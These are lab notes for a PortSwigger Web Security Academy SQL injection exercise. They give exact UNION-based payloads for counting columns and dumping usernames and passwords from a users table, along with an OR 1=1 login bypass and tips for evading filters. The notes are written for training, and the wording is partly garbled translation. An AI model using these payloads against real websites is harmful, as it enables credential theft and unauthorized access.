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# UNION Attack to Extract Data from Other Tables

UNION Attack to Extract Data from Other Tables notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### SQL Injection UNION Attack, Retrieving Data from Other Tables

**Background:** `category` filter vulnerable to injection; The answer makes SQL results, so a `UNION SELECT` allows to inject and display rows from other tables.

**Lab goal:** recover all `username` / `password` from the `users` table and then connect as `administrator`.

#### Steps (order, Exact Payloads)

1. **Determine the number of columns** (if unknown):

   ```sql
   ' ORDER BY 1-- -
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```

When `ORDER BY N` causes an error, the number of columns < N. 2. **Valider `UNION`** (same number of columns as the original request): / Example if the query returns 2 columns:

````
```sql
' UNION SELECT '1','2'-- -
```
````

or with `NULL` for non-relevant columns:

````
```sql
' UNION SELECT NULL, NULL-- -
```
````

3\. **Extract `username` / `password`** (adjust the number/order of columns): / If the original request has **2 columns**:

````
```sql
' UNION SELECT username, password FROM users-- -
```
````

If it has **3 columns**, place `NULL` for the unused column, e.g. (second position text):

````
```sql
' UNION SELECT NULL, username, password FROM users-- -
```
````

— If incompatible types: use `CAST`/`TO_CHAR` or `NULL` to force compatibility:

````
```sql
' UNION SELECT CAST(username AS CHAR), CAST(password AS CHAR) FROM users-- -
```
````

4\. **Check output** — the response must contain `username`/`password` pairs.

* Find the `administrator` line and record its password.
* Use these credentials on the login page.

5. **Alternative (if exfiltration fails)** — bypass d

   ```sql
   ' OR 1=1-- -
   ```

(less evidence than the dump; favour exfiltration if possible.)

#### Technical Details

* Use separate constants (or `NULL`) to identify which columns are displayed.
* Oracle: names in MAJUSCULES if unquoted; may require `TO_CHAR`.
* MSSQL/MySQL/Postgres: `CAST`/`CONVERT`/`::text` if different types.
* If `UNION` blocked, test changes in spacing/comments or functions to rebuild the chain (`CONCAT`, `CHR`/`CHAR`).

#### Summary Impact

* Credentials (administrator), application control, data exfiltration/ alteration.


---

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